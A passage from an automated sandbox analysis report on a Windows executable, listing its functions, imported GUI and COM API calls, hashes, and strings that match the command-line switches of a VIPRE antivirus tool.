OleRun.OLE32 ref: 00000001400049BF
_com_issue_error.COMSUPP ref: 0000000140004A34

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 00000001400062EC

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 000000014000630F
Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 0000000140006419

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 000000014000643C

Strings

/scannowfull, xrefs: 0000000140004C2F
ERROR:Couldn't get current product version, xrefs: 0000000140005404
Failed to get the ServerConnection instance., xrefs: 0000000140004968, 0000000140004D4C, 0000000140004F2A, 000000014000511C, 00000001400052FD, 000000014000560D
/displaylastscantime, xrefs: 0000000140005470
ERROR:Couldn't start a threat definition update, xrefs: 0000000140004E27
/displaylocaldefversion, xrefs: 00000001400050B7
ERROR:Couldn't get VIPRE version, xrefs: 0000000140005030
ERROR:Couldn't access VIPRE interface, xrefs: 0000000140005085
ERROR:Couldn't get current local threat definitions version, xrefs: 0000000140005230
Disabled, xrefs: 0000000140005700
CServerConnection::SynchronizeConnectionState, xrefs: 000000014000496F, 0000000140004D53, 0000000140004F31, 0000000140005123, 0000000140005304, 0000000140005614
/updatedefs, xrefs: 0000000140004CE7
/nr, xrefs: 0000000140004BD8, 0000000140004C8A
/applydefs, xrefs: 000000014000575F
ERROR:Unexpected number of parameters : %d, xrefs: 0000000140004842, 00000001400057AE, 0000000140005883
/scannowquick, xrefs: 0000000140004B7C
/displaylastscanresult, xrefs: 000000014000553F
/scanfile, xrefs: 000000014000482F, 0000000140004851, 0000000140005746, 00000001400057EC, 0000000140005805
/displayvipreversion, xrefs: 0000000140004EBC
SBAM.Common, xrefs: 0000000140004976, 0000000140004D5A, 0000000140004F38, 000000014000512A, 000000014000530B, 000000014000561B
ERROR:Couldn't access threat definition interface, xrefs: 0000000140004E35, 000000014000526C
ERROR:Couldn't access service interface, xrefs: 0000000140005439, 000000014000571C
%s, xrefs: 000000014000504F, 000000014000541A, 0000000140005500
/apstate, xrefs: 000000014000559E
/enableap, xrefs: 00000001400048FD
/enablefw, xrefs: 0000000140004B20
ERROR:Could not set control handler, xrefs: 0000000140004820
Enabled, xrefs: 00000001400056F7
%d - %s, xrefs: 000000014000524D
ERROR:Couldn't access AP controller, xrefs: 0000000140004A0B, 00000001400056DD
/displaysdkversion, xrefs: 0000000140005290

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ConsoleCreateCtrlCurrentHandlerInstanceThread_com_issue_error
String ID: %d - %s$%s$/applydefs$/apstate$/displaylastscanresult$/displaylastscantime$/displaylocaldefversion$/displaysdkversion$/displayvipreversion$/enableap$/enablefw$/nr$/scanfile$/scannowfull$/scannowquick$/updatedefs$CServerConnection::SynchronizeConnectionState$Disabled$ERROR:Could not set control handler$ERROR:Couldn't access AP controller$ERROR:Couldn't access VIPRE interface$ERROR:Couldn't access service interface$ERROR:Couldn't access threat definition interface$ERROR:Couldn't get VIPRE version$ERROR:Couldn't get current local threat definitions version$ERROR:Couldn't get current product version$ERROR:Couldn't start a threat definition update$ERROR:Unexpected number of parameters : %d$Enabled$Failed to get the ServerConnection instance.$SBAM.Common
API String ID: 983190622-1673929483
Opcode ID: 2175e76c8966e9e2c91432a9e9c153b8283cf491260df2ab5baf2bdf7b3f79df
Instruction ID: e2ccf87b5099f0f7b934bda8e5f3f9185fd1f49f832c8f2bd04db4d19a08eeb6
Opcode Fuzzy Hash: 2175e76c8966e9e2c91432a9e9c153b8283cf491260df2ab5baf2bdf7b3f79df
Instruction Fuzzy Hash: C3B2BFB2214A4182EB62EF27F4547EE73A1FB89B95F804012FB4A972B5DF78C945C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401DE848 Relevance: 33.4, APIs: 21, Instructions: 1857COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001401DEBC4
_invalid_parameter_noinfo.LIBCMT ref: 00000001401DEDE5
_invalid_parameter_noinfo.LIBCMT ref: 00000001401DF102
_invalid_parameter_noinfo.LIBCMT ref: 00000001401DF313
memcpy_s.LIBCPMT ref: 00000001401DF557
memcpy_s.LIBCPMT ref: 00000001401DF5EE
memcpy_s.LIBCPMT ref: 00000001401DF7A5
memcpy_s.LIBCPMT ref: 00000001401DF97D
memcpy_s.LIBCPMT ref: 00000001401DFA79
memcpy_s.LIBCPMT ref: 00000001401DFAB1
memcpy_s.LIBCPMT ref: 00000001401DFAE3
memcpy_s.LIBCPMT ref: 00000001401DFB7A
memcpy_s.LIBCPMT ref: 00000001401DFC8D
memcpy_s.LIBCPMT ref: 00000001401DFD35
memcpy_s.LIBCPMT ref: 00000001401DFD7C
memcpy_s.LIBCPMT ref: 00000001401DFFB3
memcpy_s.LIBCPMT ref: 00000001401E0022
memcpy_s.LIBCPMT ref: 00000001401E0060
memcpy_s.LIBCPMT ref: 00000001401E010A
memcpy_s.LIBCPMT ref: 00000001401E0325
memcpy_s.LIBCPMT ref: 00000001401E0501

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: ac3efb290208e8ae0aa939dd7ccb27a44b6dea8bf0587a3634350ef81f9eea52
Instruction ID: d55e0586a353003d38fd01ccca46069b0816c393a8d43c12287e66a16324f9fb
Opcode Fuzzy Hash: ac3efb290208e8ae0aa939dd7ccb27a44b6dea8bf0587a3634350ef81f9eea52
Instruction Fuzzy Hash: 9103A3722002C18BD776DE26E940BE937E6F79CB8CF441129DB066BBA9D734DA45CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014004A11C Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 230windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 000000014004A18B

Part of subcall function 000000014004978C: CreateSolidBrush.GDI32 ref: 00000001400497B3

GetSysColor.USER32 ref: 000000014004A1A2
CreateCompatibleDC.GDI32 ref: 000000014004A1B6
CreateCompatibleDC.GDI32 ref: 000000014004A1D2
GetObjectW.GDI32 ref: 000000014004A1F9
CreateBitmap.GDI32 ref: 000000014004A21C
CreateBitmap.GDI32 ref: 000000014004A248
SelectObject.GDI32 ref: 000000014004A26A
SelectObject.GDI32 ref: 000000014004A283
GetPixel.GDI32 ref: 000000014004A2AF

Part of subcall function 000000014004AFC8: SetBkColor.GDI32 ref: 000000014004AFE4
Part of subcall function 000000014004AFC8: SetBkColor.GDI32 ref: 000000014004AFF5

BitBlt.GDI32 ref: 000000014004A2F2
BitBlt.GDI32 ref: 000000014004A335
SelectObject.GDI32 ref: 000000014004A34B
BitBlt.GDI32 ref: 000000014004A3D3
BitBlt.GDI32 ref: 000000014004A412
SelectObject.GDI32 ref: 000000014004A438
SelectObject.GDI32 ref: 000000014004A44E

Strings

, xrefs: 000000014004A2C3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$CreateSelect$Color$BitmapCompatible$BrushPixelSolid
String ID:
API String ID: 3358463585-3916222277
Opcode ID: 1df8b1d2eb40a2e4c64d6f9953f07afc6d8e6ddda128a5a288f14fc75fc205f1
Instruction ID: 36a310155856242cf22ac8df365cc62708b8248cfa66fc5bdf7cbf623e4e9850
Opcode Fuzzy Hash: 1df8b1d2eb40a2e4c64d6f9953f07afc6d8e6ddda128a5a288f14fc75fc205f1
Instruction Fuzzy Hash: 57B14836B00A409AE711DFA2E4447DE77B2F78D798F410225AF4A67BA9DF78C909C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400F8588 Relevance: 30.5, APIs: 20, Instructions: 540windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00000001400F866D
GetMenuItemCount.USER32 ref: 00000001400F8841
AppendMenuW.USER32 ref: 00000001400F885A
AppendMenuW.USER32 ref: 00000001400F8879
SendMessageW.USER32 ref: 00000001400F8918
SendMessageW.USER32 ref: 00000001400F8951
GetMenuItemCount.USER32 ref: 00000001400F89C5
AppendMenuW.USER32 ref: 00000001400F89DE
AppendMenuW.USER32 ref: 00000001400F89FD
GetMenuItemCount.USER32 ref: 00000001400F8A74
AppendMenuW.USER32 ref: 00000001400F8A8D
AppendMenuW.USER32 ref: 00000001400F8AAC
GetWindow.USER32 ref: 00000001400F8B66
AppendMenuW.USER32 ref: 00000001400F8C12
GetWindow.USER32 ref: 00000001400F8C64
AppendMenuW.USER32 ref: 00000001400F8D10
GetMenuItemCount.USER32 ref: 00000001400F8D7C
AppendMenuW.USER32 ref: 00000001400F8D95
AppendMenuW.USER32 ref: 00000001400F8DAF
std::ios_base::~ios_base.LIBCPMT ref: 00000001400F8DBA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Append$CountItem$Window$MessageSend$std::ios_base::~ios_base
String ID:
API String ID: 3077673360-0
Opcode ID: 1609092b61a251d599070388332eed870609b53ab1e186e3f12fea724001bc05
Instruction ID: 593342c414d0840502a905506aa168c8c238ab7ad9b31de17f1f977baee00964
Opcode Fuzzy Hash: 1609092b61a251d599070388332eed870609b53ab1e186e3f12fea724001bc05
Instruction Fuzzy Hash: B4226D76304A4181EA56DB67E5653EE23A1FB8DBC0F484026EF4A87BB6DF78C845C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B4288 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 346windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32 ref: 00000001400B42F7
GetKeyState.USER32 ref: 00000001400B430B
GetKeyState.USER32 ref: 00000001400B431F
GetParent.USER32 ref: 00000001400B4353
GetParent.USER32 ref: 00000001400B43AE
SendMessageW.USER32 ref: 00000001400B446A
ScreenToClient.USER32 ref: 00000001400B449E
GetCursorPos.USER32 ref: 00000001400B451A
SendMessageW.USER32 ref: 00000001400B453D
SendMessageW.USER32 ref: 00000001400B45D0
SendMessageW.USER32 ref: 00000001400B45F9
SendMessageW.USER32 ref: 00000001400B4618
SetWindowPos.USER32 ref: 00000001400B463F
SendMessageW.USER32 ref: 00000001400B4654
SendMessageW.USER32 ref: 00000001400B4692
GetParent.USER32 ref: 00000001400B4752

Strings

@, xrefs: 00000001400B44B3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$ParentState$ClientCursorScreenWindow
String ID: @
API String ID: 1877249070-2766056989
Opcode ID: 8ee0b49f7d9925462ddefdc57ec641247ea191f704512888dfabb0780fe64466
Instruction ID: 140cad35568e94f452ad0275af3b7fffb49309a9d8d4eaa39f9df7672e3ed6a8
Opcode Fuzzy Hash: 8ee0b49f7d9925462ddefdc57ec641247ea191f704512888dfabb0780fe64466
Instruction Fuzzy Hash: 78E1AB36604A8082EB26DFA6E4447EA63B1FB8ABD4F044225EF5A177F1DF38C655C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014006288C Relevance: 28.9, APIs: 19, Instructions: 442windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00000001400628CD
SendMessageW.USER32 ref: 00000001400628E1
MessageBeep.USER32 ref: 0000000140062968
SendMessageW.USER32 ref: 0000000140062B11
SendMessageW.USER32 ref: 0000000140062B26
SendMessageW.USER32 ref: 0000000140062B42
SendMessageW.USER32 ref: 0000000140062B57
SendMessageW.USER32 ref: 0000000140062B6C
SendMessageW.USER32 ref: 0000000140062BCE
MessageBeep.USER32 ref: 0000000140062C7F
SendMessageW.USER32 ref: 0000000140062D85
SendMessageW.USER32 ref: 0000000140062D9A
SendMessageW.USER32 ref: 0000000140062DB6
SendMessageW.USER32 ref: 0000000140062DCB
SendMessageW.USER32 ref: 0000000140062DE0
SendMessageW.USER32 ref: 0000000140062E74
MessageBeep.USER32 ref: 0000000140062E92
SendMessageW.USER32 ref: 0000000140062EA9
SendMessageW.USER32 ref: 0000000140062EBE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$Send$Beep
String ID:
API String ID: 877464050-0
Opcode ID: 6641b13dfa4fa58008cad89c09aeb1b98cc96b389eb434e9f60f319105532cac
Instruction ID: 28ceacd0c0eed99e254be9da9112040e60a409c879e384fdc2aa0697006f248c
Opcode Fuzzy Hash: 6641b13dfa4fa58008cad89c09aeb1b98cc96b389eb434e9f60f319105532cac
Instruction Fuzzy Hash: 7102CC32700A5586EB26DF66D844BEE2362F788BC8F600522EF0E57BA5DF79C945C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400F6550 Relevance: 28.8, APIs: 19, Instructions: 287windowCOMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 00000001400F65C7
InvalidateRect.USER32(?,?,?,00000000,00000000,?,00000000,00000000,?,00000001400C4EC0), ref: 00000001400F65DB
UpdateWindow.USER32 ref: 00000001400F65E5
GetMessageW.USER32 ref: 00000001400F6633
DispatchMessageW.USER32 ref: 00000001400F6641
PeekMessageW.USER32 ref: 00000001400F6658
GetCapture.USER32 ref: 00000001400F6662
SetCapture.USER32 ref: 00000001400F6671
GetCapture.USER32 ref: 00000001400F667F
GetWindowRect.USER32 ref: 00000001400F66A9
SetCursorPos.USER32 ref: 00000001400F66CD
GetCapture.USER32 ref: 00000001400F66D3
GetMessageW.USER32 ref: 00000001400F66F6
DispatchMessageW.USER32 ref: 00000001400F671E
ReleaseCapture.USER32 ref: 00000001400F676F
IsWindow.USER32 ref: 00000001400F6778
SendMessageW.USER32 ref: 00000001400F6795
ReleaseCapture.USER32 ref: 00000001400F6906
ReleaseCapture.USER32 ref: 00000001400F693C

Part of subcall function 000000014003AEC0: ShowWindow.USER32 ref: 000000014003AEE1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Capture$Message$Window$RectRelease$Dispatch$CursorInflateInvalidatePeekSendShowUpdate
String ID:
API String ID: 3442015766-0
Opcode ID: d20c489f634d74416a7611dc0b6d08c35d34bd75ea5450a69a6b5875957c9e90
Instruction ID: 86ef2b047a16d48c46ba655c4d43d2274012e181eba7e8355bcf87f9e1ea2742
Opcode Fuzzy Hash: d20c489f634d74416a7611dc0b6d08c35d34bd75ea5450a69a6b5875957c9e90
Instruction Fuzzy Hash: 1EC1933670464096FF17DB37D4647EA67A1AB8CBC8F084529AF0A4BBB5EEB8C445D340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B65E4 Relevance: 28.6, APIs: 15, Strings: 1, Instructions: 606windowCOMMON

Download Yara Rule

APIs

SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 00000001400B669D
CreateCompatibleDC.GDI32 ref: 00000001400B66B0
CreateCompatibleBitmap.GDI32 ref: 00000001400B66E9
SelectObject.GDI32 ref: 00000001400B6755
BitBlt.GDI32 ref: 00000001400B6798
OffsetRect.USER32 ref: 00000001400B67AC
InflateRect.USER32 ref: 00000001400B6DEC

Part of subcall function 000000014004978C: CreateSolidBrush.GDI32 ref: 00000001400497B3

Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF0C
Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF27

Part of subcall function 000000014004AF6C: GetStockObject.GDI32 ref: 000000014004AF7B
Part of subcall function 000000014004AF6C: SelectObject.GDI32 ref: 000000014004AF93
Part of subcall function 000000014004AF6C: SelectObject.GDI32 ref: 000000014004AFA5

Ellipse.GDI32 ref: 00000001400B697A
Ellipse.GDI32 ref: 00000001400B699B
Ellipse.GDI32 ref: 00000001400B69BC
Rectangle.GDI32 ref: 00000001400B6A3F
BitBlt.GDI32 ref: 00000001400B6E6B
DeleteObject.GDI32 ref: 00000001400B6E86

Strings

, xrefs: 00000001400B6E3F

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$Select$CreateEllipse$CompatibleHashRect$BitmapBrushDeleteImplImpl::InflateOffsetRectangleSolidStock
String ID:
API String ID: 3053867852-3916222277
Opcode ID: 41a9a0f86e7679696dd18d34951ead7d5c7f10c4feddc00e758b6f12322b91c4
Instruction ID: 6d72cbe629fbee27e46a4bb661315642e0698a66fcbb781c79e130a2c308d2cf
Opcode Fuzzy Hash: 41a9a0f86e7679696dd18d34951ead7d5c7f10c4feddc00e758b6f12322b91c4
Instruction Fuzzy Hash: 4642C836A10A908AE712DF7AD4057AD77B4FB597D8F008316EF4AA7B65DB38D842C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140084568 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 247windowCOMMON

Download Yara Rule

APIs

TransparentBlt.MSIMG32 ref: 000000014008460F
SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 0000000140084621
SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 000000014008462C
SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 0000000140084636
CreateCompatibleDC.GDI32 ref: 000000014008464D
CreateCompatibleDC.GDI32 ref: 0000000140084673
CreateCompatibleBitmap.GDI32 ref: 00000001400846A0
StretchBlt.GDI32 ref: 0000000140084716
BitBlt.GDI32 ref: 000000014008475C
CreateBitmap.GDI32 ref: 0000000140084776
BitBlt.GDI32 ref: 00000001400847D5
BitBlt.GDI32 ref: 0000000140084826
BitBlt.GDI32 ref: 000000014008486C
BitBlt.GDI32 ref: 00000001400848A1

Part of subcall function 00000001400499C4: DeleteDC.GDI32 ref: 00000001400499EB

Strings

, xrefs: 00000001400847A8
, xrefs: 00000001400846E1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Hash$Create$CompatibleImplImpl::$Bitmap$DeleteStretchTransparent
String ID: $
API String ID: 3547714547-227171996
Opcode ID: 282ab98834eb7c554d698cc89adb70fda8970aff68e4d2f5b003cd5c379e578f
Instruction ID: 5e20ca15cc98591caced316c9573e667a99a365e7595180964947c63d88c44cf
Opcode Fuzzy Hash: 282ab98834eb7c554d698cc89adb70fda8970aff68e4d2f5b003cd5c379e578f
Instruction Fuzzy Hash: 79B14B76714A808AE721DF66E4807DE77B1F398798F100225AF8E57BB8DB38C545CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400621E4 Relevance: 27.5, APIs: 18, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140062227
MessageBeep.USER32 ref: 00000001400622F2
MessageBeep.USER32 ref: 0000000140062838
SendMessageW.USER32 ref: 000000014006284D
SendMessageW.USER32 ref: 0000000140062862

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$Send$Beep
String ID:
API String ID: 877464050-0
Opcode ID: 161481fb31babc6bd9914bcfb27d5817e7c0f4a7692d254da4a467f4a5f87bde
Instruction ID: 3481fd8127dfe0a695de812ff794c2137596a33527cb117cddbedf97fa8afc5c
Opcode Fuzzy Hash: 161481fb31babc6bd9914bcfb27d5817e7c0f4a7692d254da4a467f4a5f87bde
Instruction Fuzzy Hash: D112DF72700A5086EB26DB66D854BEE23A2F74CBC8F200912EF1E57BA5DF38D945C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016A774 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 289windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 000000014016A809
SendMessageW.USER32 ref: 000000014016A880
GetClientRect.USER32 ref: 000000014016A896
GetWindowRect.USER32 ref: 000000014016A9DD
MonitorFromPoint.USER32 ref: 000000014016AA2A
GetMonitorInfoW.USER32 ref: 000000014016AA37
CopyRect.USER32 ref: 000000014016AA49
SystemParametersInfoW.USER32 ref: 000000014016AA5D
GetSystemMetrics.USER32 ref: 000000014016AA70
GetSystemMetrics.USER32 ref: 000000014016AA89
GetWindowRect.USER32 ref: 000000014016AAED
